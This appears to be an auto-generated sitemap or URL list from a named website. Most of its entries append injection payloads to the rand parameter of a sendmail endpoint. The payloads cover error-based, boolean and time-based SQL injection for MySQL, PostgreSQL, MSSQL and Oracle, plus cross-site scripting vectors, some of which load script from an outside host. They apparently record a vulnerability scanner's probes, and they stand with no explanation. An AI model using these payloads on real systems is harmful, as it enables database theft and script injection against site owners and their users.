http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND%2066=69%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%201452889343%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=14)%20THEN%201452889343%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%2527 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%5B%5D 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%5C%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%5C' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343%bf%27 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%20'1r'='1r 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%20'Um'%20LIKE%20'3O 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%20'ZZ'%20LIKE%20'ZZ 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%20'rq'='hF 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(57=89)%20THEN%201452889343%20ELSE%200x28%20END))%20AND%20'kl'='kl 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(72=72)%20THEN%201452889343%20ELSE%200x28%20END))%20AND%20'tp'='tp 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%20('CD'%20LIKE%20'CD 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%20('D8'%20LIKE%20'mN 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%2035=41%20AND%20('lt'='lt 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%2065=65%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20OR%2042=42%20AND%20('no'='no 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20OR%2083=23%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%201452889343%20ELSE%200x28%20END))%20AND%20('ol'='ol 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=72)%20THEN%201452889343%20ELSE%200x28%20END))%20AND%20('Ci'='Ci 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20AND%2039=77%20AND%20(39=39 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20AND%2081=81%20AND%20(81=81 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=43)%20THEN%201452889343%20ELSE%200x28%20END))%20AND%20(17=17 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(59=59)%20THEN%201452889343%20ELSE%200x28%20END))%20AND%20(51=51 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(11=26)%20THEN%201452889343%20ELSE%2011*(SELECT%2011%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(11=63)%20THEN%201452889343%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(13=17)%20THEN%201452889343%20ELSE%2013*(SELECT%2013%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(26=26)%20THEN%201452889343%20ELSE%2026*(SELECT%2026%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(29=29)%20THEN%201452889343%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(29=29)%20THEN%201452889343%20ELSE%2029*(SELECT%2029%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(34=44)%20THEN%201452889343%20ELSE%2034*(SELECT%2034%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%201452889343%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(78=78)%20THEN%201452889343%20ELSE%2078*(SELECT%2078%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20(CASE%20WHEN%20(87=52)%20THEN%201452889343%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,IIF(41=41,1452889343,1/0) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343,IIF(51=84,1452889343,1/0) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=14528893436633x3X6 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343AND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343JyI%3D 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343alert(42873) 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889343e360 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889371 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889382 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889387 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889403 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889422 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889434 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889440 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889454 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889466 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889479 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889480 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889498 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889501 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889510 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889523 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889525 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889531 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889539 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889541 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889549 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889557 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889567 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452889570 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452892779 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452906914 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452909043 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452911122 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452917703 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452917727 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452918767 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452919236 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452920396 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452930050 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452934727 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452936147 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452939894 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452939984 0.0001 http://www.cncml.com/home.php?mod=misc&ac=sendmail&rand=1452940512 0.0001 